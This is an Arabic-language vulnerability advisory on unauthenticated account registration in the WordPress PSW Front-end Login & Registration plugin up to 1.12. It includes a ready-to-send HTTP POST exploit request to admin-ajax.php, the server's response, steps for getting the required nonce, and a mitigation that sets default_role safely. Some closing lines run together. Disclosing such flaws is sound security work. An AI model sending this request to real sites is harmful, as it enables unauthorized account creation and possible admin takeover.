
WordPress PSW Front-end Login & Registration Plugin <= 1.12 معرّض لثغرة كسر المصادقة
تكشف هذه الإضافة عن خلل خطير في آلية التسجيل الخاصة بها.
فعلى الرغم من تقديمها لنموذج تسجيل في الواجهة الأمامية يعتمد على الـ shortcode ([psw_registration])، فإنها تفشل في فرض قيود صارمة على الأدوار أو تحقق أمني سليم.
يمكن للمهاجمين استغلال هذه الآلية لإنشاء حسابات دون مصادقة — وإذا كان إعداد default_role للموقع مضبوطًا بشكل خاطئ (مثل تعيينه على administrator)، فقد يحدث تصعيد كامل للامتيازات.
POST /wordpress/wp-admin/admin-ajax.php
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {Host}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 233
Origin: {Host}
Connection: keep-alive
Cookie:
Priority: u=0
first_name=nxploited&last_name=nxploited&new_user_name=nxpl3432oited&new_user_email=NxploitBot%40gmail.com&new_user_password=admin&new_user_password_confirmation=admin&action=register_user_front_end&psw_form=75a32ef38d
حقل
psw_formهو حقل nonce المطلوب لنجاح الطلب.
يتم إنشاء هذا الـ nonce ديناميكيًا من الـ shortcode[psw_registration]في الواجهة الأمامية.
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
<h4>Hello nxploited nxploited</h4>
<p>Thanks for creating an account on our website. Please check your email for activation link...</p>
register_user_front_enddefault_role في ووردبريس لتعيين أدوار المستخدمينadministrator)، يحصل المهاجم على وصول كامللعرض نموذج التسجيل وتوليد nonce صالح لـ psw_form، يُستخدم الـ shortcode التالي:
[psw_registration]
يعرض هذا نموذج تسجيل يتضمن حقل nonce المخفي الضروري لنجاح استدعاء AJAX.
default_role على قيمة آمنة (مثل subscriber)هذا التقرير لأغراض تعليمية ولاختبارات أمنية مصرح بها فقط.
قد يؤدي استغلال هذه الثغرة دون إذن إلى انتهاك الحدود القانونية والأخلاقية.
NXploited (Khaled_Alenazi)